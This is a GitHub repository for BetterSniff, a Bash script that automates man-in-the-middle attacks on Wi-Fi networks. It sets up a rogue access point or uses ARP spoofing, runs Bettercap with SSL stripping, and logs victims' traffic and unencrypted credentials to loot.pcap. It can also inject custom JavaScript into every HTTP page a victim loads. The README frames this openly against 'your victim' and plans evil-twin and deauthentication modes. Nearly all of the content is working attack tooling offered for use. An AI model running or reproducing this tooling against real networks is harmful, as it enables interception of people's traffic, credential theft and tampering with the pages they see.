├── BetterSniff.sh ├── LICENSE ├── README.md └── requirements.sh /BetterSniff.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # AUTHOR: 90N45 3 | 4 | cyan='\e[1;36m' 5 | red='\e[1;31m' 6 | lightred='\e[0;31m' 7 | purple='\e[1;35m' 8 | lightpurple='\e[0;35m' 9 | white='\e[1;37m' 10 | clean='\e[0m' 11 | 12 | print_banner () { 13 | sleep 0.1 14 | echo -e "${cyan} ____ _ _ _____ _ __ __" 15 | sleep 0.1 16 | echo "| _ \ | | | | / ____| (_)/ _|/ _|" 17 | sleep 0.1 18 | echo "| |_) | ___| |_| |_ ___ _ _| (___ _ __ _| |_| |" 19 | sleep 0.1 20 | echo "| _ < / _ \ __| __/ _ \ '__\___ \| '_ \| | _| _|" 21 | sleep 0.1 22 | echo "| |_) | __/ |_| || __/ | ____) | | | | | | | |" 23 | sleep 0.1 24 | echo "|____/ \___|\__|\__\___|_| |_____/|_| |_|_|_| |_|" 25 | sleep 0.1 26 | echo -e "${clean} by 90N45-d3v" 27 | } 28 | 29 | print_banner_quik () { 30 | echo -e "${cyan} ____ _ _ _____ _ __ __" 31 | echo "| _ \ | | | | / ____| (_)/ _|/ _|" 32 | echo "| |_) | ___| |_| |_ ___ _ _| (___ _ __ _| |_| |" 33 | echo "| _ < / _ \ __| __/ _ \ '__\___ \| '_ \| | _| _|" 34 | echo "| |_) | __/ |_| || __/ | ____) | | | | | | | |" 35 | echo "|____/ \___|\__|\__\___|_| |_____/|_| |_|_|_| |_|" 36 | echo -e "${clean} by 90N45-d3v" 37 | } 38 | 39 | clear 40 | print_banner 41 | sleep 0.5 42 | 43 | printf "\n${red}[1] ${lightred}Create rogue AP and sniff traffic\n" 44 | sleep 0.2 45 | printf "${purple}[2] ${lightpurple}Sniff in network as client with the help of ARP-Spoofing\n\n" 46 | 47 | printf "${white} | Choose number: ${clean}" 48 | read -p "" ap_or_sta 49 | 50 | # as rogue AP 51 | if [ $ap_or_sta = 1 ] 52 | then 53 | clear 54 | print_banner_quik 55 | sleep 0.2 56 | printf "\n${white} | Do you need some probes for SSID inspiration? (y/n): ${clean}" 57 | read -p "" inspiration 58 | clear 59 | print_banner_quik 60 | sleep 0.2 61 | printf "\n${clean}" 62 | iwconfig 63 | sleep 0.2 64 | printf "\n${white} | Interface with internet connection (ex. wlan0): ${clean}" 65 | read -p "" net_interface 66 | clear 67 | print_banner_quik 68 | sleep 0.2 69 | printf "\n${clean}" 70 | iwconfig 71 | sleep 0.2 72 | printf "\n${white} | Wifi interface for attack (ex. wlan0): ${clean}" 73 | read -p "" interface 74 | if [ $inspiration = y ] 75 | then 76 | mon_check=$(iwconfig $interface | grep Monitor -c) 77 | sleep 0.2 78 | if [ $mon_check = 0 ] 79 | then 80 | printf "\n${red}[*] ${lightred}Setting up monitor mode..." 81 | airmon-ng start $interface > /dev/null 82 | clear 83 | print_banner_quik 84 | printf "\n${clean}" 85 | sleep 0.2 86 | iwconfig 87 | sleep 0.2 88 | printf "\n${white} | Retype Wifi interface for attack (It's now in monitor mode for sniffing probes): ${clean}" 89 | read -p "" interface_mon 90 | fi 91 | clear 92 | print_banner_quik 93 | printf "\n\n${white}SCANNING FOR PROBES FROM NEARBY DEVICES" 94 | printf "\n${red}[*] ${lightred}Press Ctrl+C for ending the scan...${cyan}\n\n" 95 | printf "Vendor+MAC <-----> MAC <-----> SSID${clean}\n" 96 | tshark -i $interface_mon -Y wlan.fc.type_subtype==4 -T fields -e wlan.sa_resolved -e wlan.sa -e wlan.ssid 2> /dev/null 97 | fi 98 | airmon-ng stop $interface_mon > /dev/null 99 | if [ $inspiration = n ] 100 | then 101 | mon_check=$(iwconfig $interface | grep Monitor -c) 102 | sleep 0.2 103 | if [ $mon_check = 1 ] 104 | then 105 | printf "\n${red}[*] ${lightred}Please don't use an interface in monitor mode..." 106 | sleep 0.5 107 | printf "\n${red}[*] ${lightred}Setting interface back in normal mode..." 108 | airmon-ng stop $interface > /dev/null 109 | sleep 1 110 | clear 111 | print_banner_quik 112 | sleep 0.2 113 | printf "\n${clean}" 114 | iwconfig 115 | sleep 0.2 116 | printf "\n\n${white} | Retype Wifi interface for attack (It now isn't in monitor mode anymore): ${clean}" 117 | read -p "" interface 118 | fi 119 | fi 120 | printf "\n\n${white} | Write down the SSID for your rogue AP:${clean}" 121 | read -p " " ssid 122 | clear 123 | print_banner_quik 124 | sleep 0.2 125 | printf "\n${white} | Write down the 2.4 GHz channel for your rogue AP (ex. 6):${clean}" 126 | read -p " " channel 127 | clear 128 | print_banner_quik 129 | sleep 0.2 130 | printf "\n${purple}[1] ${lightpurple}180°-JS (if page was clicked, rotate it)\n" 131 | sleep 0.2 132 | printf "\n${red}[2] ${lightred}Custom\n" 133 | sleep 0.2 134 | printf "\n${white}[3] ${clean}No injection\n\n" 135 | sleep 0.2 136 | printf "${white} | Choose JS-Injection:${clean}" 137 | read -p " " js 138 | if [ $js = 1 ] 139 | then 140 | printf "\n\n${red}[*] ${lightred}Selecting 180°-JS as injection..." 141 | sleep 0.2 142 | printf "\n\n${red}[*] ${lightred}Writing JavaScript for injection..." 143 | cat < BetterSniff_injection.js 144 | setTimeout(function(){ 145 | document.onmousemove = document.onkeypress = function(){ 146 | ['', '-ms-', '-webkit-', '-o-', '-moz-'].map(function(prefix){ 147 | document.body.style[prefix + 'transition'] = prefix + 'transform 3s'; 148 | document.body.style[prefix + 'transform'] = 'rotate(180deg)'; 149 | }); 150 | } 151 | }, 5000); 152 | EOF 153 | sleep 0.2 154 | printf "\n\n${red}[*] ${lightred}Writing caplet for Bettercap..." 155 | path=$(pwd) 156 | cat < sniffconf.cap 157 | set net.sniff.local true 158 | set net.sniff.output loot.pcap 159 | set http.proxy.sslstrip true 160 | set http.proxy.injectjs ${path}/BetterSniff_injection.js 161 | http.proxy on 162 | net.recon on 163 | net.sniff on 164 | net.probe on 165 | EOF 166 | sleep 1 167 | clear 168 | print_banner_quik 169 | sleep 0.2 170 | no_network_check=$(iwconfig $interface | grep off/any -c) 171 | if [ $no_network_check = 0 ] 172 | then 173 | printf "\n${red}[*] ${lightred}Disconnecting ${interface} from network..." 174 | nmcli dev disconnect $interface > /dev/null 175 | sleep 3 176 | fi 177 | printf "\n${red}[*] ${lightred}Creating rogue AP on ${interface} as ${ssid}...\n\n${cyan}" 178 | create_ap ${interface} ${net_interface} ${ssid} -c ${channel} --daemon --no-virt > /dev/null 179 | sleep 10 180 | printf "\n${red}[*] ${lightred}Starting Bettercap as sniffer on ${interface}...\n\n${cyan}" 181 | sleep 1 182 | bettercap -iface $interface -caplet sniffconf.cap 183 | fi 184 | if [ $js = 2 ] 185 | then 186 | printf "\n${white} | Please enter path to file.js: ${clean}" 187 | read -p "" js_path 188 | sleep 0.2 189 | printf "\n${red}[*] ${lightred}Slelecting ${js-path} as injection..." 190 | sleep 0.2 191 | printf "\n\n${red}[*] ${lightred}Writing caplet for Bettercap..." 192 | cat < sniffconf.cap 193 | set net.sniff.local true 194 | set net.sniff.output loot.pcap 195 | set http.proxy.sslstrip true 196 | set http.proxy.injectjs ${js_path} 197 | http.proxy on 198 | net.recon on 199 | net.sniff on 200 | net.probe on 201 | EOF 202 | sleep 1 203 | clear 204 | print_banner_quik 205 | sleep 0.2 206 | no_network_check=$(iwconfig $interface | grep off/any -c) 207 | if [ $no_network_check = 0 ] 208 | then 209 | printf "\n${red}[*] ${lightred}Disconnecting ${interface} from network..." 210 | nmcli dev disconnect $interface > /dev/null 211 | sleep 3 212 | fi 213 | printf "\n${red}[*] ${lightred}Creating rogue AP on ${interface} as ${ssid}...\n\n${cyan}" 214 | sleep 0.2 215 | printf "\n${red}[*] ${lightred}Starting Bettercap as sniffer on ${interface}...\n\n${cyan}" 216 | sleep 1 217 | bettercap -iface $interface -caplet sniffconf.cap 218 | fi 219 | if [ $js = 3 ] 220 | then 221 | printf "\n\n${red}[*] ${lightred}Don't selecting any injection..." 222 | sleep 0.2 223 | printf "\n\n${red}[*] ${lightred}Writing caplet for Bettercap..." 224 | cat < sniffconf.cap 225 | set net.sniff.local true 226 | set net.sniff.output loot.pcap 227 | set http.proxy.sslstrip true 228 | http.proxy on 229 | net.recon on 230 | net.sniff on 231 | net.probe on 232 | EOF 233 | sleep 1 234 | clear 235 | print_banner_quik 236 | sleep 0.2 237 | no_network_check=$(iwconfig $interface | grep off/any -c) 238 | if [ $no_network_check = 0 ] 239 | then 240 | printf "\n${red}[*] ${lightred}Disconnecting ${interface} from network..." 241 | nmcli dev disconnect $interface > /dev/null 242 | sleep 3 243 | fi 244 | printf "\n${red}[*] ${lightred}Creating rogue AP on ${interface} as ${ssid}...\n\n${cyan}" 245 | create_ap ${interface} ${net_interface} ${ssid} --daemon --no-virt > /dev/null 246 | sleep 10 247 | printf "\n${red}[*] ${lightred}Starting Bettercap as sniffer on ${interface}...\n\n${cyan}" 248 | sleep 1 249 | bettercap -iface ${interface} -caplet sniffconf.cap 250 | fi 251 | clear 252 | print_banner_quik 253 | fi 254 | 255 | # as client 256 | if [ $ap_or_sta = 2 ] 257 | then 258 | clear 259 | print_banner_quik 260 | sleep 0.2 261 | printf "\n${clean}" 262 | iwconfig 263 | sleep 0.2 264 | printf "\n${white} | Wifi interface for attack (ex. wlan0): ${clean}" 265 | read -p "" interface 266 | mon_check=$(iwconfig $interface | grep Monitor -c) 267 | sleep 0.2 268 | if [ $mon_check = 1 ] 269 | then 270 | printf "\n${red}[*] ${lightred}Please don't use an interface in monitor mode..." 271 | sleep 0.2 272 | printf "\n${red}[*] ${lightred}Setting interface back in normal mode..." 273 | airmon-ng stop $interface > /dev/null 274 | sleep 0.2 275 | clear 276 | print_banner_quik 277 | printf "\n${clean}" 278 | iwconfig 279 | sleep 0.2 280 | printf "\n\n${white} | Retype Wifi interface for attack (It now isn't in monitor mode anymore): ${clean}" 281 | read -p "" interface 282 | fi 283 | clear 284 | print_banner_quik 285 | sleep 0.2 286 | printf "\n\n${red}[*] ${lightred}Checking network connectivity..." 287 | network_check=$(iwconfig $interface | grep off/any -c) 288 | slepp 0.2 289 | if [ $network_check = 1 ] 290 | then 291 | printf "\n${red}[*] ${lightred}Not connected to any network..." 292 | sleep 0.2 293 | printf "\n${red}[*] ${lightred}Scanning for networks you can connect to...${clean}\n" 294 | sleep 0.2 295 | nmcli dev wifi list ifname ${interface} --rescan yes 296 | printf "\n\n${white} | Choose your network to sniff on: ${clean}" 297 | read -p "" network 298 | printf "\n${white}" 299 | nmcli dev wifi connect "${network}" --ask 300 | fi 301 | clear 302 | print_banner_quik 303 | sleep 0.2 304 | printf "\n${purple}[1] ${lightpurple}180°-JS\n" 305 | sleep 0.2 306 | printf "\n${red}[2] ${lightred}Custom\n" 307 | sleep 0.2 308 | printf "\n${white}[3] ${clean}No injection\n\n" 309 | sleep 0.2 310 | printf "${white} | Choose JS-Injection:${clean}" 311 | read -p " " js 312 | if [ $js = 1 ] 313 | then 314 | printf "\n\n${red}[*] ${lightred}Selecting 180°-JS as injection..." 315 | sleep 0.2 316 | printf "\n\n${red}[*] ${lightred}Enable IP forwarding..." 317 | echo 1 > /proc/sys/net/ipv4/ip_forward 318 | sleep 0.2 319 | printf "\n\n${red}[*] ${lightred}Writing JavaScript for injection..." 320 | cat < BetterSniff_injection.js 321 | setTimeout(function(){ 322 | document.onmousemove = document.onkeypress = function(){ 323 | ['', '-ms-', '-webkit-', '-o-', '-moz-'].map(function(prefix){ 324 | document.body.style[prefix + 'transition'] = prefix + 'transform 3s'; 325 | document.body.style[prefix + 'transform'] = 'rotate(180deg)'; 326 | }); 327 | } 328 | }, 5000); 329 | EOF 330 | sleep 0.2 331 | printf "\n\n${red}[*] ${lightred}Writing caplet for Bettercap..." 332 | path=$(pwd) 333 | cat < sniffconf.cap 334 | set net.sniff.local true 335 | set net.sniff.output loot.pcap 336 | set arp.spoof.fullduplex true 337 | set arp.spoof.internal true 338 | set http.proxy.sslstrip true 339 | set http.proxy.injectjs ${path}/BetterSniff_injection.js 340 | http.proxy on 341 | arp.spoof on 342 | net.recon on 343 | net.sniff on 344 | net.probe on 345 | EOF 346 | sleep 1 347 | clear 348 | print_banner_quik 349 | sleep 0.2 350 | printf "\n${red}[*] ${lightred}Starting Bettercap as sniffer on ${interface}...\n\n${cyan}" 351 | sleep 1 352 | bettercap -iface $interface -caplet sniffconf.cap 353 | fi 354 | if [ $js = 2 ] 355 | then 356 | printf "\n${white} | Please enter full path to file.js: ${clean}" 357 | read -p "" js_path 358 | sleep 0.2 359 | printf "\n${red}[*] ${lightred}Slelecting ${js_path} as injection..." 360 | sleep 0.2 361 | printf "\n\n${red}[*] ${lightred}Enable IP forwarding..." 362 | echo 1 > /proc/sys/net/ipv4/ip_forward 363 | sleep 0.2 364 | printf "\n\n${red}[*] ${lightred}Writing caplet for Bettercap..." 365 | cat < sniffconf.cap 366 | set net.sniff.local true 367 | set net.sniff.output loot.pcap 368 | set arp.spoof.fullduplex true 369 | set arp.spoof.internal true 370 | set http.proxy.sslstrip true 371 | set http.proxy.injectjs $js_path 372 | http.proxy on 373 | arp.spoof on 374 | net.recon on 375 | net.sniff on 376 | net.probe on 377 | EOF 378 | sleep 1 379 | clear 380 | print_banner_quik 381 | sleep 0.2 382 | printf "\n${red}[*] ${lightred}Starting Bettercap as sniffer on ${interface}...\n\n${cyan}" 383 | sleep 1 384 | bettercap -iface $interface -caplet sniffconf.cap 385 | fi 386 | if [ $js = 3 ] 387 | then 388 | printf "\n\n${red}[*] ${lightred}Don't selecting any injection..." 389 | sleep 0.2 390 | printf "\n\n${red}[*] ${lightred}Writing caplet for Bettercap..." 391 | cat < sniffconf.cap 392 | set net.sniff.local true 393 | set net.sniff.output loot.pcap 394 | set arp.spoof.fullduplex true 395 | set arp.spoof.internal true 396 | set http.proxy.sslstrip true 397 | http.proxy on 398 | arp.spoof on 399 | net.recon on 400 | net.sniff on 401 | net.probe on 402 | EOF 403 | sleep 1 404 | clear 405 | print_banner_quik 406 | sleep 0.2 407 | printf "\n${red}[*] ${lightred}Starting Bettercap as sniffer on ${interface}...\n\n${cyan}" 408 | sleep 1 409 | bettercap -iface $interface -caplet sniffconf.cap 410 | fi 411 | 412 | 413 | fi 414 | 415 | 416 | printf "\n${cyan}GOOD BYE!\n" 417 | 418 | rm BetterSniff_injection.js 2> /dev/null 419 | rm sniffconf.cap 2> /dev/null 420 | create_ap --stop ${interface} > /dev/null 421 | 422 | exit 0 423 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 90N45 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![154769341-1c379aeb-c39e-4c53-9344-8ef8c85b7b92](https://user-images.githubusercontent.com/79598596/170995029-e96197f6-2381-4908-b050-c3dfd778e34c.svg) 2 | 3 |

4 | 5 | 6 | 7 |

8 | 9 | With this script you can host an access point with [create_ap](https://github.com/oblique/create_ap) by [@oblique](https://github.com/oblique) and sniff all traffic with [Bettercap](https://www.bettercap.org/) automatically. 10 | If you are connected to an existing network and want to sniff some traffic there, you can do that too. 11 | 12 | ## Features 13 | - Sniff domains your victim is visiting/pinging (full path location if request is not encrypted with SSL/TLS) 14 | - Sniff unencrypted credentials from sources like telnet, SMTP or FTP 15 | - Inject customizable javascript into every http website 16 | - Sniffed traffic will be logged for later analysis 17 | - Probe-request scanner (only rogue AP mode) 18 | - Create configurable AP (only rogue AP mode) 19 | - ARP-spoofing for beeing the mitm (only client mode) 20 | 21 | ## Installation 22 | For me it works like a charm on kali (all needed tools are preinstalled). If you want to run it for example on a raspberry pi with a debian based system, it should work too. 23 | Now the installation guide: 24 | ``` 25 | git clone https://github.com/90N45-d3v/BetterSniff.git 26 | cd BetterSniff 27 | sudo bash requirements.sh 28 | # and run it! 29 | sudo bash BetterSniff.sh 30 | ``` 31 | 32 | ## Analyze your traffic later 33 | If you sniffed some traffic with BetterSniff once, there will be a loot file (loot.pcap) for later analysis. 34 | You can take a look at the sniffed traffic with following commands: 35 | ``` 36 | # start bettercap 37 | sudo bettercap 38 | # set loot.pcap as source for net.sniff 39 | set net.sniff.source loot.pcap 40 | # take a look at it 41 | net.sniff on 42 | ``` 43 | 44 | ## Working on... 45 | - New mode: EvilTwin (clone existing WPA2-AP) 46 | - Settings for easily handling the mapping of domains to a custom IP address ([Bettercap's DNS spoofer](https://www.bettercap.org/modules/ethernet/spoofers/dns.spoof/)) 47 | - deauth for more probe-requests (only rogue AP mode) 48 | 49 | ### Some information 50 | I know, that this code could be better. 51 | If you have some improvements, errors or other things to say, just make a fork, pull-request, open an issue or contact me on twitter [@90N45](https://twitter.com/90N45). 52 | -------------------------------------------------------------------------------- /requirements.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # AUTHOR: 90N45 3 | 4 | cyan='\e[1;36m' 5 | red='\e[1;31m' 6 | lightred='\e[0;31m' 7 | white='\e[1;37m' 8 | clean='\e[0m' 9 | 10 | print_banner () { 11 | sleep 0.1 12 | echo -e "${cyan} ____ _ _ _____ _ __ __" 13 | sleep 0.1 14 | echo "| _ \ | | | | / ____| (_)/ _|/ _|" 15 | sleep 0.1 16 | echo "| |_) | ___| |_| |_ ___ _ _| (___ _ __ _| |_| |" 17 | sleep 0.1 18 | echo "| _ < / _ \ __| __/ _ \ '__\___ \| '_ \| | _| _|" 19 | sleep 0.1 20 | echo "| |_) | __/ |_| || __/ | ____) | | | | | | | |" 21 | sleep 0.1 22 | echo "|____/ \___|\__|\__\___|_| |_____/|_| |_|_|_| |_|" 23 | sleep 0.1 24 | echo -e "${clean} by 90N45-d3v" 25 | } 26 | 27 | print_banner_quik () { 28 | echo -e "${cyan} ____ _ _ _____ _ __ __" 29 | echo "| _ \ | | | | / ____| (_)/ _|/ _|" 30 | echo "| |_) | ___| |_| |_ ___ _ _| (___ _ __ _| |_| |" 31 | echo "| _ < / _ \ __| __/ _ \ '__\___ \| '_ \| | _| _|" 32 | echo "| |_) | __/ |_| || __/ | ____) | | | | | | | |" 33 | echo "|____/ \___|\__|\__\___|_| |_____/|_| |_|_|_| |_|" 34 | echo -e "${clean} by 90N45-d3v" 35 | } 36 | 37 | clear 38 | print_banner 39 | sleep 0.2 40 | printf "\n${white}Installing dependencies..." 41 | sleep 0.2 42 | printf "\n\n${red}[*] ${lightred}Dependencies are: wireless-tools, aircrack-ng, tshark and create_ap" 43 | sleep 2 44 | printf "\n\n${red}[*] ${lightred}Downloading/Installing create_ap from GitHub...${clean}\n" 45 | sleep 0.2 46 | git clone https://github.com/oblique/create_ap 47 | cd create_ap 48 | make install 49 | sleep 1 50 | clear 51 | print_banner_quik 52 | printf "\n${white}Installing dependencies for create_ap..." 53 | printf "\n\n${red}[*] ${lightred}Dependencies are: dnsmasq, hostapd" 54 | sleep 0.2 55 | printf "\n\n${red}[*] ${lightred}Downloading/Installing dnsmasq and hostapd from APT...${clean}\n" 56 | sleep 0.2 57 | apt install dnsmasq hostapd 58 | sleep 1 59 | clear 60 | print_banner_quik 61 | printf "\n${white}Installing dependencies for BetterSniff..." 62 | printf "\n\n${red}[*] ${lightred}Dependencies are: wireless-tools, aircrack-ng, tshark" 63 | sleep 0.2 64 | printf "\n\n${red}[*] ${lightred}Downloading/Installing wireless-tools, aircrack-ng and tshark from APT...${clean}\n" 65 | sleep 0.2 66 | apt install wireless-tools aircrack-ng tshark 67 | sleep 1 68 | clear 69 | print_banner_quik 70 | printf "\n${white}All needed dependencies were installed...\n\n" 71 | sleep 2 72 | --------------------------------------------------------------------------------